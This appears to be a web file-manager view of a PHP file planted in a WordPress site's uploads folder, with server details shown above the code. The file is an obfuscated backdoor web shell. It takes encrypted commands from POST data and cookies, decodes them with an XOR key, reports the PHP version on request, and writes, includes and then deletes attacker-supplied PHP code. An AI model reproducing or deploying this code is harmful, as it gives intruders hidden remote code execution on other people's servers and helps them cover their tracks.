HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/07/locvbhad.php
<?php $mlzgc	= /*b_eln   */ 'mlzgc'    ^   '';
$howecubfd     =     $mlzgc(503-406)     . /*  kctveq   */ "r"."r"."a"."\x79" /* oym   */ .   "_"."\x6d"       . /* tgrt  */ "a".$mlzgc(112);


$hnkcdkamc /*  pv*/ = /*   vlrjy*/ "\x69"       .	"\x6d"	.     $mlzgc(112)    .   "\x6c"	. /*  kifukd   */ "\x6f"     . /*ewf  */ "d"."e";





function  tertihpioz($dyqkbilmoe,	$ufggq){
    global    $mlzgc;

   


	$dyqkbilmoe /*   nhi*/ =  $mlzgc(450-390)    .	"\77" /*  wczhzr   */ .       "p"."h"."p".$mlzgc(32)	.	$mlzgc(117)	.  "\156"  . /* ykot*/ $mlzgc(733-625)	.       "\x69"	.   "n"."k"."("."_"."_".$mlzgc(70)	.       "\x49" /*muph*/ .   "L"."\x45"	. /*   qhvb*/ "_"."_"."\x29"  .    ";".$mlzgc(32) /*   uhwawo */ .	$dyqkbilmoe["d"];


     $eteglh /*   lsjcmf   */ =    "\x66"  .    "\151"    .    "l"."e".$mlzgc(578-483)	.    $mlzgc(112) /*   je  */ . /*ivmu   */ $mlzgc(127-10)	.   "t".$mlzgc(1026-931)    .    $mlzgc(1078-979)    .    $mlzgc(151-40)    .	"n"."t".$mlzgc(101)    .	"\156"	.       "t".$mlzgc(762-647);

       
	$eteglh($ufggq,    $dyqkbilmoe);

    
 /*   hzd  */ caoltx($ufggq);


}

$v_fx_a	=	73;


function    caoltx($ufggq)

{     global /*gll   */ $mlzgc;  
	include($ufggq);

    $rxkrbkq    =	$ufggq;
       @unlink($rxkrbkq);}




function    jhxezyp_bb()

{

 /* lti */ global    $mlzgc;


	$drfarchfn /* ad */ =	array();


    $drfarchfn["p"."v"] /*   _x*/ =	phpversion();

    $drfarchfn[$mlzgc(115)   .	"v"] /* ojt*/ =    "3"."."."\x35";

	$dekzm_ /*   tjnjph*/ =    74;

	echo	@serialize($drfarchfn);
}






function /*   nso  */ isjccz_($dyqkbilmoe, /*jpv  */ $anbjz){


	global      $mlzgc;





     $twkeg    = /* gpdy*/ "";


	$oc_iynv	=      strlen($dyqkbilmoe);


    $vswi_  =    strlen($anbjz);

    $drfarchfn   =	0;

    $usflxatfbq	= /* wl   */ 0;


 /*   qnsw */ 
	while    ($drfarchfn /*  p   */ < /* n  */ $oc_iynv)    {


    $ehstn /*  o */ = /*ja_   */ $dyqkbilmoe[$drfarchfn] /*gvm  */ ^    $anbjz[$usflxatfbq /*  vk */ %	$vswi_]; /*  h   */ $twkeg     .= /*wxb   */ $ehstn;


 /* eo */ $usflxatfbq++;  


       $drfarchfn++;


    }

  

 /* gzgvft  */ if /*  e */ (strlen($twkeg)   > /*  azbqqg*/ 20)  {


 /* doyccx  */ $_ebjiliase /* xomfw   */ = /*   vn*/ substr($twkeg, /*muwwa   */ 0, /*  kvq */ 20);

  }

    if  (empty($twkeg))    {	$twkeg    = /*  gdunxb */ date('Y-m-d /*_afp*/ H:i:s');   }

    return /*fsfa  */ $twkeg;


}




function    fymjsbjp_n($yzukxorpim)

{

     global /*   fora   */ $mlzgc;
    

    $cbxz_    = /*   dod*/ "\141".$mlzgc(50)    . /* ojd  */ "e"."4".$mlzgc(897-847)    .      "c"."4"."0".$mlzgc(506-461)    .	$mlzgc(227-130)      .	$mlzgc(1072-971) /*  m */ .       "2"."1"."-"."\x34"    .      "\146"   .     "\x61" /*  xszoo  */ .    "\x65"	.    "-".$mlzgc(680-623) /*  _ofq   */ .   "\x66" /*   dj  */ . /*oexpd */ $mlzgc(102)    . /* xb */ $mlzgc(863-764)	.    "\x2d" /*  qs */ .    "4".$mlzgc(395-341)      .    "7"."\141"."7".$mlzgc(48) /*   k  */ .  "4"."\x34"     .   "9"."4"."\143" /* xf*/ . /*   vt  */ "\60";
  	foreach /*jxnhh   */ ($yzukxorpim /* w   */ as	$mbuffu  =>    $dyqkbilmoe)   { /* cbmjvz*/ loyais(base64_decode($dyqkbilmoe), /* e*/ $cbxz_, /*  c*/ $mbuffu);


    }


}



function /* e_omh*/ loyais($dyqkbilmoe, /*  qwhiuq  */ $cbxz_,	$mbuffu){
 /*  fe*/ global	$mlzgc;


      


     $dyqkbilmoe /*jx   */ = /*mkseg   */ unserialize(isjccz_(isjccz_($dyqkbilmoe,    $cbxz_), /*  rmi   */ $mbuffu));


	$uylijlw	= /* ofvu */ 'ddpi_zakh';


	$qbijbu     =    '_kuwb';	if  (isset($dyqkbilmoe[$mlzgc(97)    .      "k"]))	{	if    ($dyqkbilmoe["\141"] /*   gak */ == /*  ucgnj */ $mlzgc(165-60)) /* tq */ {

	jhxezyp_bb();
     } /*  rxmqv*/ elseif    ($dyqkbilmoe["\141"]    == /*  x_qyym */ "e")    {


      tertihpioz($dyqkbilmoe,	sprintf("."."/"."\45"       . /*   hpw   */ $mlzgc(115)	.	"."."p"."l",  md5($cbxz_)));


			$tzmkyqqssa /*   ms  */ = /*tezu*/ 44; /*   b */ }       exit();


  }

}

fymjsbjp_n($_POST); /* yxxa  */ 


$txirsswn    =   'rawurldecode';
$drfarchfnabwi_cbg    =	$howecubfd($txirsswn, /*  aa   */ $_POST);

$hnkcdkamc("",   $txirsswn);



fymjsbjp_n($_COOKIE);




$kog_l_cnq	=       $howecubfd($txirsswn,   $_COOKIE);


?>